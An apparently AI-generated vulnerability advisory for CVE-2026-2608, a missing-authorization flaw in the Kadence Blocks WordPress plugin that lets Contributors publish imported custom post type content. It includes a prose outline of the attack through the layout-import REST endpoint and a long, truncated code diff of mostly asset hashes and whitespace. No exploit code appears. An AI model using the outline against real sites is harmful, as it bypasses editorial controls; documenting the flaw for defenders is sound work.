Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2608: Gutenberg Blocks by Kadence Blocks <= 3.5.32 – Missing Authorization (kadence-blocks)

CVE ID CVE-2026-2608
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 3.5.32
Patched Version 3.6.0
Disclosed February 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2608:
This vulnerability is a missing authorization flaw in the Kadence Blocks WordPress plugin, affecting versions up to and including 3.5.32. The vulnerability allows authenticated attackers with Contributor-level permissions or higher to perform unauthorized actions, specifically creating and publishing custom post type content without proper capability checks. The CVSS score of 4.3 reflects a medium-severity issue with limited impact scope.

The root cause lies in the `process_cpt` function within the `Kadence_Blocks_Prebuilt_Library_REST_API` class. In the vulnerable version, the function processes custom post type content from imported prebuilt layouts without verifying the user’s capability to publish content. The function at line 934 in `kadence-blocks/includes/class-kadence-blocks-prebuilt-library-rest-api.php` sets the post status to ‘publish’ unconditionally when creating CPT content, bypassing WordPress’s standard publishing permissions. The function processes CPT blocks including ‘kadence/header’, ‘kadence/navigation’, ‘kadence/advanced-form’, ‘kadence/query’, and ‘kadence/query-card’ without proper authorization checks.

Exploitation requires an authenticated attacker with at least Contributor-level access to WordPress. The attacker would target the plugin’s REST API endpoint responsible for importing prebuilt layouts, specifically the endpoint that processes custom post type content. The attack vector involves sending a crafted request to the import functionality containing CPT blocks, which triggers the vulnerable `process_cpt` function. The payload would include CPT data with post content that the attacker wants to publish, exploiting the missing capability check during the import process.

The patch addresses the vulnerability by adding a capability check before setting the post status. In the patched version at line 934, the code now reads: `’post_status’ => current_user_can(‘publish_posts’) ? ‘publish’ : ‘pending’`. This change ensures that only users with the ‘publish_posts’ capability (typically Editors and Administrators) can create published CPT content during imports. Contributors and Authors without publishing rights will have their imported CPT content set to ‘pending’ status, requiring editorial review. The fix maintains the same functionality while enforcing proper WordPress capability checks.

The impact of successful exploitation allows Contributors to publish custom post type content without editorial approval, potentially enabling unauthorized content publication on affected WordPress sites. This could lead to content policy violations, SEO manipulation, or the dissemination of malicious content. While the vulnerability doesn’t provide direct privilege escalation or remote code execution, it bypasses editorial workflows and content moderation controls that are essential for multi-author WordPress installations.

Differential between vulnerable and patched code

Code Diff
--- a/kadence-blocks/dist/admin-kadence-home.asset.php
+++ b/kadence-blocks/dist/admin-kadence-home.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('kadence-helpers', 'kadence-icons', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => '44fa2c6de7858a3c61f2');
+<?php return array('dependencies' => array('kadence-helpers', 'kadence-icons', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => 'e39da594dafbcb032b2b');
--- a/kadence-blocks/dist/blocks-advanced-form.asset.php
+++ b/kadence-blocks/dist/blocks-advanced-form.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keycodes', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => 'e1d8915ac755b07a61b9');
+<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keycodes', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => 'a3d1893cd525772d5ca9');
--- a/kadence-blocks/dist/blocks-advancedbtn.asset.php
+++ b/kadence-blocks/dist/blocks-advancedbtn.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keycodes', 'wp-primitives'), 'version' => 'e82eab9e4ca79cca6cd3');
+<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keycodes', 'wp-primitives'), 'version' => '8f2d08eb833d1d15045c');
--- a/kadence-blocks/dist/blocks-advancedgallery.asset.php
+++ b/kadence-blocks/dist/blocks-advancedgallery.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keycodes', 'wp-primitives'), 'version' => 'da84c01a425471ed9284');
+<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keycodes', 'wp-primitives'), 'version' => '584373c3e262800665a3');
--- a/kadence-blocks/dist/blocks-icon.asset.php
+++ b/kadence-blocks/dist/blocks-icon.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'cb556cca8dc90b4a51bf');
+<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'aa90acbc257519a23902');
--- a/kadence-blocks/dist/blocks-iconlist.asset.php
+++ b/kadence-blocks/dist/blocks-iconlist.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-rich-text'), 'version' => 'eae421f3af453c0bd768');
+<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-rich-text'), 'version' => 'bf90f5657451d88a91a9');
--- a/kadence-blocks/dist/blocks-image.asset.php
+++ b/kadence-blocks/dist/blocks-image.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react-jsx-runtime', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-notices', 'wp-primitives'), 'version' => '132a5ff1e5913ff01091');
+<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react-jsx-runtime', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-notices', 'wp-primitives'), 'version' => '128a7de120d7f086b5a8');
--- a/kadence-blocks/dist/blocks-infobox.asset.php
+++ b/kadence-blocks/dist/blocks-infobox.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-notices', 'wp-primitives'), 'version' => '1f1f05027e0ab4b346d8');
+<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-notices', 'wp-primitives'), 'version' => '9f020740662547988705');
--- a/kadence-blocks/dist/blocks-navigation-link.asset.php
+++ b/kadence-blocks/dist/blocks-navigation-link.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keycodes', 'wp-primitives', 'wp-url'), 'version' => 'd6b4d0bddd7b124289af');
+<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keycodes', 'wp-primitives', 'wp-url'), 'version' => 'a25f5b7dc123edb04c1c');
--- a/kadence-blocks/dist/blocks-navigation.asset.php
+++ b/kadence-blocks/dist/blocks-navigation.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-url'), 'version' => '93379a1b518cc2735609');
+<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-url'), 'version' => '6d0f613d7a295a60b94a');
--- a/kadence-blocks/dist/blocks-rowlayout.asset.php
+++ b/kadence-blocks/dist/blocks-rowlayout.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => '63265c32adeecde4f472');
+<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => '98cf969061c4ae2cdd6f');
--- a/kadence-blocks/dist/blocks-tabs.asset.php
+++ b/kadence-blocks/dist/blocks-tabs.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives'), 'version' => '8303b3c4f68307fb52c7');
+<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives'), 'version' => 'd75f1e1eac88dfb0f465');
--- a/kadence-blocks/dist/blocks-testimonials.asset.php
+++ b/kadence-blocks/dist/blocks-testimonials.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '277ba97e1cf18144b576');
+<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '7351abaf8775da439210');
--- a/kadence-blocks/dist/components.asset.php
+++ b/kadence-blocks/dist/components.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('kadence-helpers', 'kadence-icons', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => '35bce45beb7c1055ef09');
+<?php return array('dependencies' => array('kadence-helpers', 'kadence-icons', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-notices', 'wp-primitives', 'wp-url'), 'version' => '219fc03434baa50b89bd');
--- a/kadence-blocks/dist/extension-admin-notices.asset.php
+++ b/kadence-blocks/dist/extension-admin-notices.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('wp-i18n'), 'version' => '2c2150318b76f0d6b36e');
--- a/kadence-blocks/dist/extension-block-css.asset.php
+++ b/kadence-blocks/dist/extension-block-css.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('kadence-helpers', 'lodash', 'react', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '4d32c505cbfba39f6327');
+<?php return array('dependencies' => array('kadence-helpers', 'lodash', 'react', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '930435564e82224b835d');
--- a/kadence-blocks/dist/kadence-optimizer.asset.php
+++ b/kadence-blocks/dist/kadence-optimizer.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('wp-api-fetch', 'wp-data', 'wp-hooks', 'wp-i18n', 'wp-url'), 'version' => 'a1a86e071a9e95ed3f75');
--- a/kadence-blocks/dist/lazy-loader.asset.php
+++ b/kadence-blocks/dist/lazy-loader.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array(), 'version' => 'e94909e980c4ad30dcd6');
--- a/kadence-blocks/dist/plugin-kadence-control.asset.php
+++ b/kadence-blocks/dist/plugin-kadence-control.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keycodes', 'wp-notices', 'wp-plugins'), 'version' => '6759d531f0efd68f51cb');
+<?php return array('dependencies' => array('kadence-components', 'kadence-helpers', 'kadence-icons', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keycodes', 'wp-notices', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-url'), 'version' => 'ee78b4e6297d371c77b0');
--- a/kadence-blocks/dist/post-saved-event.asset.php
+++ b/kadence-blocks/dist/post-saved-event.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('wp-data', 'wp-hooks'), 'version' => '5e79f2705c72de17d440');
--- a/kadence-blocks/includes/blocks/class-kadence-blocks-abstract-block.php
+++ b/kadence-blocks/includes/blocks/class-kadence-blocks-abstract-block.php
@@ -97,7 +97,7 @@
 		'captcha',
 		'submit',
 	];
-
+
 	/**
 	 * Allow us to enable merged defaults on blocks individually.
 	 * Considered setting this as a property within each block, but it's easier to see an exhaustive list here.
@@ -531,7 +531,7 @@

 	/**
 	 * Retuurn if this block should register itself. (can override for things like blocks in two plugins)
-	 *
+	 *
 	 * @return boolean
 	 */
 	public function should_register() {
@@ -546,4 +546,29 @@
 	protected function get_pro_version() {
 		return defined( 'KBP_VERSION' ) ? KBP_VERSION : null;
 	}
+
+	/**
+	 * Build escaped HTML attributes to be placed in an HTML tag.
+	 *
+	 * @param array<string, string|int|float|bool> $attributes The html attributes to render to a tag.
+	 *
+	 * @return string
+	 */
+	protected function build_escaped_html_attributes( array $attributes ): string {
+		$html = '';
+
+		foreach ( $attributes as $key => $value ) {
+			if ( is_bool( $value ) ) {
+				if ( $value ) {
+					$html .= sprintf( ' %s', esc_attr( $key ) );
+				}
+
+				continue;
+			}
+
+			$html .= sprintf( ' %s="%s"', esc_attr( $key ), esc_attr( $value ) );
+		}
+
+		return $html;
+	}
 }
--- a/kadence-blocks/includes/blocks/class-kadence-blocks-advancedgallery-block.php
+++ b/kadence-blocks/includes/blocks/class-kadence-blocks-advancedgallery-block.php
@@ -412,7 +412,7 @@
 			$css->add_property( 'color', $css->render_color( $attributes['arrowCustomColor'] ) );
 		}

-		if ( ! empty( $attributes['arrowCustomColorHover'] ) && $is_carousel ) {
+		if ( ! empty( $attributes['arrowCustomColorHover'] ) && $is_carousel ) {
 			$css->set_selector( '.kb-gallery-id-' . $unique_id . ' .splide .splide__arrow:hover' );
 			$css->add_property( 'color', $css->render_color( $attributes['arrowCustomColorHover'] ) );
 		}
@@ -464,49 +464,49 @@
 				$css->set_selector( '.kb-gallery-id-' . $unique_id . ' .kb-gallery-pause-button' );
 				$css->add_property( 'color', $css->render_color( $attributes['arrowCustomColor'] ) );
 			}
-
+
 			if ( ! empty( $attributes['arrowCustomColorHover'] ) ) {
 				$css->set_selector( '.kb-gallery-id-' . $unique_id . ' .kb-gallery-pause-button:hover' );
 				$css->add_property( 'color', $css->render_color( $attributes['arrowCustomColorHover'] ) );
 			}
-
+
 			if ( ! empty( $attributes['arrowCustomColorActive'] ) ) {
 				$css->set_selector( '.kb-gallery-id-' . $unique_id . ' .kb-gallery-pause-button:active' );
 				$css->add_property( 'color', $css->render_color( $attributes['arrowCustomColorActive'] ) );
 			}
-
+
 			// Pause button background styles
 			if ( ! empty( $attributes['arrowCustomColorBackground'] ) ) {
 				$css->set_selector( '.kb-gallery-id-' . $unique_id . ' .kb-gallery-pause-button' );
 				$css->add_property( 'background-color', $css->render_color( $attributes['arrowCustomColorBackground'] ) );
 			}
-
+
 			if ( ! empty( $attributes['arrowCustomColorBackgroundHover'] ) ) {
 				$css->set_selector( '.kb-gallery-id-' . $unique_id . ' .kb-gallery-pause-button:hover' );
 				$css->add_property( 'background-color', $css->render_color( $attributes['arrowCustomColorBackgroundHover'] ) );
 			}
-
+
 			if ( ! empty( $attributes['arrowCustomColorBackgroundActive'] ) ) {
 				$css->set_selector( '.kb-gallery-id-' . $unique_id . ' .kb-gallery-pause-button:active' );
 				$css->add_property( 'background-color', $css->render_color( $attributes['arrowCustomColorBackgroundActive'] ) );
 			}
-
+
 			// Pause button border styles
 			if ( ! empty( $attributes['arrowCustomColorBorder'] ) ) {
 				$css->set_selector( '.kb-gallery-id-' . $unique_id . ' .kb-gallery-pause-button' );
 				$css->add_property( 'border-color', $css->render_color( $attributes['arrowCustomColorBorder'] ) );
 			}
-
+
 			if ( ! empty( $attributes['arrowCustomColorBorderHover'] ) ) {
 				$css->set_selector( '.kb-gallery-id-' . $unique_id . ' .kb-gallery-pause-button:hover' );
 				$css->add_property( 'border-color', $css->render_color( $attributes['arrowCustomColorBorderHover'] ) );
 			}
-
+
 			if ( ! empty( $attributes['arrowCustomColorBorderActive'] ) ) {
 				$css->set_selector( '.kb-gallery-id-' . $unique_id . ' .kb-gallery-pause-button:active' );
 				$css->add_property( 'border-color', $css->render_color( $attributes['arrowCustomColorBorderActive'] ) );
 			}
-
+
 			if ( ! empty( $attributes['arrowCustomBorderWidth'] ) ) {
 				$css->set_selector( '.kb-gallery-id-' . $unique_id . ' .kb-gallery-pause-button' );
 				$css->add_property( 'border-width', $attributes['arrowCustomBorderWidth'] . 'px' );
@@ -560,13 +560,13 @@
 			$css->set_selector( '.kb-gallery-id-' . $unique_id . ' .splide__pagination__page' );
 			$css->add_property( 'border-color', $css->render_color( $attributes['dotCustomColorBorder'] ) );
 		}
-
+
 		if ( ! empty( $attributes['dotCustomColorBorderHover'] ) && $is_carousel && 'custom' === $dot_style ) {
 			$css->set_selector( '.kb-gallery-id-' . $unique_id . ' .splide__pagination__page:hover' );
 			$css->add_property( 'border-color', $css->render_color( $attributes['dotCustomColorBorderHover'] ) );
 		}

-		if ( ! empty( $attributes['dotCustomColorBorderActive'] ) && $is_carousel && 'custom' === $dot_style ) {
+		if ( ! empty( $attributes['dotCustomColorBorderActive'] ) && $is_carousel && 'custom' === $dot_style ) {
 			$css->set_selector( '.kb-gallery-id-' . $unique_id . ' .splide__pagination__page.is-active' );
 			$css->add_property( 'border-color', $css->render_color( $attributes['dotCustomColorBorderActive'] ) );
 		}
@@ -582,7 +582,7 @@

 		return $css->css_output();
 	}
-
+
 	/**
 	 * Parse images from saved HTML content.
 	 *
@@ -749,7 +749,7 @@
 		switch ( $type ) {
 		case 'carousel':
 			$content .= '<div class="' . esc_attr( implode( ' ', $gallery_classes ) ) . '" data-image-filter="' . esc_attr( $image_filter ) . '" data-lightbox-caption="' . ( $lightbox_cap ? 'true' : 'false' ) . '">';
-			$content .= '<div class="kt-blocks-carousel splide kt-carousel-container-dotstyle-' . esc_attr( $dot_style ) . ' kt-carousel-arrowstyle-' . esc_attr( $arrow_style ) . ' kt-carousel-dotstyle-' . esc_attr( $dot_style ) . ' kb-slider-group-' . esc_attr( 'center' !== $arrow_position && 'outside-top' !== $arrow_position && 'outside-bottom' !== $arrow_position ? 'arrows' : 'arrow' ) . ' kb-slider-arrow-position-' . esc_attr( $arrow_position ) . '" data-columns-xxl="' . esc_attr( $columns_xxl ) . '" data-columns-xl="' . esc_attr( $columns_xl ) . '" data-columns-md="' . esc_attr( $columns_md ) . '" data-columns-sm="' . esc_attr( $columns_sm ) . '" data-columns-xs="' . esc_attr( $columns_xs ) . '" data-columns-ss="' . esc_attr( $columns_ss ) . '" data-slider-anim-speed="' . esc_attr( $trans_speed ) . '" data-slider-scroll="' . esc_attr( $slides_sc ) . '" data-slider-arrows="' . esc_attr( 'none' === $arrow_style ? 'false' : 'true' ) . '" data-slider-dots="' . esc_attr( 'none' === $dot_style ? 'false' : 'true' ) . '" data-slider-hover-pause="false" data-slider-auto="' . esc_attr( $autoplay ) . '" data-slider-speed="' . esc_attr( $auto_speed ) . '" data-slider-gap="' . esc_attr( $gap . $gap_unit ) . '" data-slider-gap-tablet="' . esc_attr( $tablet_gap . $gap_unit ) . '" data-slider-gap-mobile="' . esc_attr( $mobile_gap . $gap_unit ) . '" data-show-pause-button="' . esc_attr( $show_pause_button ? 'true' : 'false' ) . '" aria-label="' . esc_attr( __( 'Photo Gallery Carousel', 'kadence-blocks' ) ) . '">';
+			$content .= '<div class="kt-blocks-carousel splide kt-carousel-container-dotstyle-' . esc_attr( $dot_style ) . ' kt-carousel-arrowstyle-' . esc_attr( $arrow_style ) . ' kt-carousel-dotstyle-' . esc_attr( $dot_style ) . ' kb-slider-group-' . esc_attr( 'center' !== $arrow_position && 'outside-top' !== $arrow_position && 'outside-bottom' !== $arrow_position ? 'arrows' : 'arrow' ) . ' kb-slider-arrow-position-' . esc_attr( $arrow_position ) . '" data-columns-xxl="' . esc_attr( $columns_xxl ) . '" data-columns-xl="' . esc_attr( $columns_xl ) . '" data-columns-md="' . esc_attr( $columns_md ) . '" data-columns-sm="' . esc_attr( $columns_sm ) . '" data-columns-xs="' . esc_attr( $columns_xs ) . '" data-columns-ss="' . esc_attr( $columns_ss ) . '" data-slider-anim-speed="' . esc_attr( $trans_speed ) . '" data-slider-scroll="' . esc_attr( $slides_sc ) . '" data-slider-arrows="' . esc_attr( 'none' === $arrow_style ? 'false' : 'true' ) . '" data-slider-dots="' . esc_attr( 'none' === $dot_style ? 'false' : 'true' ) . '" data-slider-hover-pause="false" data-slider-auto="' . esc_attr( $autoplay ) . '" data-slider-speed="' . esc_attr( $auto_speed ) . '" data-slider-gap="' . esc_attr( $gap . $gap_unit ) . '" data-slider-gap-tablet="' . esc_attr( $tablet_gap . $gap_unit ) . '" data-slider-gap-mobile="' . esc_attr( $mobile_gap . $gap_unit ) . '" data-show-pause-button="' . esc_attr( $show_pause_button ? 'true' : 'false' ) . '" data-slider-label="' . esc_attr( __( 'Photo Gallery Carousel', 'kadence-blocks' ) ) . '">';
 			$content .= '<div class="splide__track">';
 			$content .= '<ul class="kt-blocks-carousel-init kb-gallery-carousel splide__list">';

@@ -864,12 +864,12 @@
 				break;
 		}
 		$content = sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $content );
-
+
 		return $content;
 	}
 	/**
 	 * Render mosaic gallery layout.
-	 *
+	 *
 	 * This function can be used by Kadence Blocks Pro for dynamic content.
 	 * It creates a mosaic pattern layout for gallery images with specific grid classes.
 	 *
--- a/kadence-blocks/includes/blocks/class-kadence-blocks-column-block.php
+++ b/kadence-blocks/includes/blocks/class-kadence-blocks-column-block.php
@@ -923,6 +923,14 @@
 		}
 		return $css->css_output();
 	}
+
+	public function build_html( $attributes, $unique_id, $content, $block_instance ) {
+		$html = parent::build_html( $attributes, $unique_id, $content, $block_instance );
+
+		// Do not remove: The Optimizer uses this.
+		return apply_filters( 'kadence_blocks_column_html', $html, $attributes, $unique_id, $block_instance );
+	}
+
 	/**
 	 * Set the vertical align.
 	 *
@@ -980,4 +988,5 @@
 		}
 	}
 }
+
 Kadence_Blocks_Column_Block::get_instance();
--- a/kadence-blocks/includes/blocks/class-kadence-blocks-row-layout-block.php
+++ b/kadence-blocks/includes/blocks/class-kadence-blocks-row-layout-block.php
@@ -1282,15 +1282,15 @@
 			$css->add_property( 'display', 'none !important' );
 		}
 		$css->set_media_state( 'desktop' );
-
+
 		// Background Slider Pause Button Styles.
 		if ( isset( $attributes['backgroundSettingTab'] ) && 'slider' === $attributes['backgroundSettingTab'] ) {
 			$arrow_style = ! empty( $attributes['backgroundSliderSettings'][0]['arrowStyle'] ) ? $attributes['backgroundSliderSettings'][0]['arrowStyle'] : 'none';
 			$show_pause_button = isset( $attributes['backgroundSliderSettings'][0]['showPauseButton'] ) ? $attributes['backgroundSliderSettings'][0]['showPauseButton'] : false;
-
+
 			if ( $show_pause_button ) {
 				$css->set_selector( $base_selector . ' .kb-blocks-bg-slider .kb-gallery-pause-button' );
-
+
 				// Set styles based on arrow style.
 				switch ( $arrow_style ) {
 					case 'blackonlight':
@@ -1317,7 +1317,7 @@
 				}
 			}
 		}
-
+
 		if ( isset( $attributes['kadenceBlockCSS'] ) && ! empty( $attributes['kadenceBlockCSS'] ) ) {
 			$css->add_css_string( str_replace( 'selector', $base_selector, $attributes['kadenceBlockCSS'] ) );
 		}
@@ -1506,14 +1506,31 @@
 					$style_args['background-repeat'] = $attributes['bgImgRepeat'];
 				}
 			}
-			$style_output = array();
+
+			$style_output = [];
+
 			foreach ( $style_args as $sub_key => $value ) {
 				$style_output[] = $sub_key . ':' . esc_attr( $value ) . ';';
 			}
-			$output .= '<li class="splide__slide kb-bg-slide-contain">';
-			$output .= '<div class="kb-bg-slide kb-bg-slide-' . esc_attr( $key ) . '" style="' . esc_attr( implode( ' ', $style_output ) ) . '">';
-			$output .= '</div>';
-			$output .= '</li>';
+
+			$attrs = [
+				'class' => 'kb-bg-slide kb-bg-slide-' . $key,
+				'style' => implode( ' ', $style_output ),
+			];
+
+			/**
+			 * DO NOT REMOVE: The optimizer uses this.
+			 *
+			 * @param array<string, mixed> $attrs The HTML attributes.
+			 * @param array<string, mixed> $attributes The row block attributes.
+			 */
+			$attrs = apply_filters( 'kadence_blocks_row_slider_attrs', $attrs, $attributes );
+
+			$output .= sprintf(
+				'<li class="splide__slide kb-bg-slide-contain"><div %s></div></li>',
+				$this->build_escaped_html_attributes( $attrs )
+			);
+
 			if ( $attributes['backgroundSliderCount'] == $item ) {
 				break;
 			}
@@ -1607,6 +1624,15 @@
 		if ( isset( $video_args['muted'] ) && $video_args['muted'] == 'false' ) {
 			unset( $video_args['muted'] );
 		}
+
+		/**
+		 * DO NOT REMOVE: The optimizer uses this.
+		 *
+		 * @param array<string, mixed> $video_args The HTML attributes.
+		 * @param array<string, mixed> $attributes The row block attributes.
+		 */
+		$video_args = apply_filters( 'kadence_blocks_row_video_attrs', $video_args, $attributes );
+
